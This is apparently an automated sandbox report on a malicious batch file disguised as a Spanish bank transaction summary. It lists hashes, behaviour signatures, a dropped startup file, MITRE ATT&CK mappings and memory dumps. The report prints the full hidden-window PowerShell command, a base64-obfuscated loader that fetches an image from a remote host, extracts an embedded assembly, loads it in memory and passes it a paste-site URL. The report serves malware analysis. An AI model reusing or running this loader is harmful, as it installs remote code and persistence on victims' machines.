4029b281ff0ccee03091490a857956f6e71068ab4d60915ccef9c3e1cb4de4e3

General

Target

RESUMEN TRANSACCIONAL NO 987657456798786765476890.bat
Size

47KB
MD5

65d8a93edb5aeb9fc34964dea9f98602
SHA1

76581dbf1984576d325e108c585cd7fbd0b09006
SHA256

8c47e2ff28df3de6fa35509c4c3be6069e1a99fedea3d6992f61c53d49b248a7
SHA512

9105a7e781eeea5db245a72b86606a2d681a9eefc0e23c1da3053ee1b61635320a5c1e1f53ca56296f5844cacc736de100cc65930c85ee4f07b8546225418b47
SSDEEP

768:aoc6FkLLiNhoc6FkLLiNIoc6FkLLiN9oc6FkLLiNRoc6FkLLiNPc1aa5oc6FkLLx:aopF4ONhopF4ONIopF4ON9opF4ONRop6

Score

8^/10

execution

Malware Config

Signatures

Blocklisted process makes network request 2 IoCs

flow	pid	Process
5	2724	powershell.exe
7	2724	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2724	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\alarvajado.bat	cmd.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\alarvajado.bat	cmd.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2724	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2724	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2612 wrote to memory of 2724	2612	cmd.exe	31
PID 2612 wrote to memory of 2724	2612	cmd.exe	31
PID 2612 wrote to memory of 2724	2612	cmd.exe	31

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\RESUMEN TRANSACCIONAL NO 987657456798786765476890.bat"
1⤵
- Drops startup file
- Suspicious use of WriteProcessMemory
PID:2612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -WindowStyle Hidden -Command "[System.Text.Encoding]::UTF8.GetString( [System.Convert]::FromBase64String('JiAoKHZhUklhQkxlICcqTWRyKicpLk5BbWVbMywxMSwyXS1qT2lOJycpICgoKCdpZiAoJysnVUZWbnVsbCAtbmUgVUZWUFNWZXJzaW9uVGFibGUgLWFuZCBVRlZQU1ZlcnNpb25UYWJsZS5QU1ZlcnNpb24nKycgLW4nKydlIFVGVm51bGwpIHsgW3ZvaWRdVUZWUFNWZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXRlLU91dHB1dCBSVTdQb3dlclNoZWxsIHZlcnNpb24gTm90IGF2YWlsYWJsZVJVNyB9O2lmIChVRlZudWxsIC0nKyduZSBVRlZQU1ZlcnNpb25UYWJsZSAtYW5kIFVGVlBTVmVyc2lvblRhYmxlLlBTVmVyc2knKydvbiAtbmUgVScrJ0ZWbnVsbCkgeyBbdm9pZF1VRlZQU1ZlcnNpb25UYWJsZS5QU1ZlcnNpb24gfSBlbHNlIHsgV3JpdGUtT3V0cCcrJ3V0IFJVN1Bvd2VyU2hlbGwgdmVyJysncycrJ2lvbicrJyBOb3QgYXZhaWxhYmxlUlU3IH07VUZWZXNnYW5hciA9IFJVN2h0dHBzOi8vcmVzLmNsb3VkaW5hcnkuY29tL2R5dGZsdDYxbi9pbWFnZS91cGxvYWQvdjE3MzMxMzQ5NDcvYmtscHlzZXlldXQ0aW1wdzUwbjEuanBnIFJVNztVRlZsdWx1bmRvID0gTmV3LU9iamVjdCBTeXN0ZW0uTmV0LldlYkNsaWVudDtVRlZiYXN0byA9IFVGVmx1bHVuZG8uRG93bmxvYWREYXRhKFVGVmVzZ2FuYXIpO1VGVnRvbmljaWRhZGUgPSBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhVRlZiYXN0byk7VUZWY2FycGVsYScrJyA9IFJVNzw8QkFTRTY0X1NUQVJUPj5SVTc7VUZWdmFyYW5kYWRvID0gUlU3PDxCQVNFNjRfRU5EPj5SVTc7VScrJ0ZWbmVncml0b3MgPSBVRicrJ1Z0b25pY2lkYWRlLkluZGV4T2YoVUZWY2FycGVsYSk7VUZWcmV2ZXIgPSBVRlZ0b25pY2lkYWRlLkknKyduZGV4T2YoJysnVUZWdmFyYW5kYWRvKTtVRlZuZWdyaXRvcyAtZ2UgMCAtYW5kIFVGVnJldicrJ2VyIC1ndCBVRlZuZWdyaXRvcztVRlZuZWdyaXRvcyArPSBVRlZjYXJwZWxhLkxlbmd0aDtVRlZyZWNhaXIgPScrJyBVRlZyZXZlciAtIFVGVm5lZ3JpJysndG9zO1VGVmNoaWNob3Jyb2JpbyA9IFVGVnRvbmljaWRhZGUuU3Vic3RyaW5nKFVGVm5lZ3JpdG9zLCBVRlZyZWNhaXIpO1VGVmRlc3BlZGlkYSA9IC1qb2luIChVRlZjaGljaG9ycm9iaW8uVG9DaGFyQXJyYXkoKSBWUmwgRm9yRWFjaC1PYmplY3QgeyBVRlZfIH0pWy0xLi4tKFVGVmNoaWNob3Jyb2Jpby5MZW5ndGgpXTtVRlZwcm90aW9kZXRvID0gW1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluJysnZyhVRlZkZXNwZWRpZGEpO1VGVnJlZmxvcmVudGUgPSBbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFVGVnByb3Rpb2RldG8pO1VGVm1lY2FzID0gW2RubGliLklPLkhvbWVdLkdldE1ldGhvZChSVTdWQUlSVTcpO1VGVm1lY2FzLkludm9rZShVRlZudWxsLCBAKFJVNzAvQnJ0VFgvZC9lZS5ldHNhcC8vOnNwdHRoUlU3LCBSVTdVRlZtZXJpZGlvbmFsUlU3LCBSVTdVJysnRlZtZXJpZGlvbicrJ2FsUlU3LCBSVTdVRlZtZXJpZGlvbmFsUlU3LCBSVTdNU0J1aWxkUlU3LCBSVTdVRlZtZXJpZGlvbmFsUlU3LCBSVTcnKydVRlZtZXJpZGlvbmFsUlU3LFJVN1VGVm1lcmlkaW9uYWxSVTcsUlU3VUZWbWVyaWRpb25hbFJVNyxSVTdVRlZtZXJpZGlvbmFsUlU3LFJVN1VGVm1lcmlkaW9uYWxSVTcsUlU3VUZWbWVyaWRpb25hbFJVNyxSVTcxUlU3LFJVN1VGVm0nKydlcmknKydkaW9uYWxSVScrJzcpKTtpZiAoVUZWbnVsbCAtbmUgVScrJ0ZWUFNWZXJzaW9uVGEnKydibGUgLWFuZCBVJysnRlZQU1ZlcnNpb25UYWJsZS5QU1ZlJysncnNpb24gLW5lIFVGVm51bGwnKycpIHsgW3ZvaWRdVUZWUFNWJysnZXJzaW9uVGFibGUuUFNWZXJzaW9uIH0gZWxzZSB7IFdyaXQnKydlLU91dHB1dCBSVTdQbycrJ3dlclNoZWxsIHZlcnNpb24gTm90IGF2YWlsYWJsZVInKydVNyB9O2knKydmIChVJysnRlZudWxsIC1uZSBVRlZQU1ZlcnNpb25UYWJsZSAtYW5kIFUnKydGVlBTJysnVmVyc2lvblRhYmxlLlBTVmVyc2lvbiAtbmUgVUZWbnVsbCkgeyBbdm9pZF1VRlZQU1ZlcnNpb25UYWJsZS5QU1ZlcnNpb24gfSBlbHNlIHsgV3JpdGUtT3V0cHV0IFJVN1Bvd2VyU2gnKydlbGwgdmVyc2lvbiBOb3QgYXZhaWxhYmxlUlU3IH07JykgIC1SZVBsYWNFICAnVlJsJyxbY0hhUl0xMjQtY3JlcGxBQ0UgKFtjSGFSXTg1K1tjSGFSXTcwK1tjSGFSXTg2KSxbY0hhUl0zNi1SZVBsYWNFIChbY0hhUl04MitbY0hhUl04NStbY0hhUl01NSksW2NIYVJdMzkpICk=')) | Invoke-Expression"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2724

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\CabB4C1.tmp

Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\Local\Temp\TarB4E3.tmp

Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
memory/2724-46-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-48-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-10-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-11-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-8-0x0000000002860000-0x0000000002868000-memory.dmp

Filesize
32KB

Download
memory/2724-7-0x000000001B5A0000-0x000000001B882000-memory.dmp

Filesize
2.9MB

Download
memory/2724-6-0x000007FEF629E000-0x000007FEF629F000-memory.dmp

Filesize
4KB

Download
memory/2724-9-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-47-0x000007FEF629E000-0x000007FEF629F000-memory.dmp

Filesize
4KB

Download
memory/2724-49-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-50-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-51-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download
memory/2724-53-0x000000001ADC0000-0x000000001AF18000-memory.dmp

Filesize
1.3MB

Download
memory/2724-54-0x000007FEF5FE0000-0x000007FEF697D000-memory.dmp

Filesize
9.6MB

Download

Analysis

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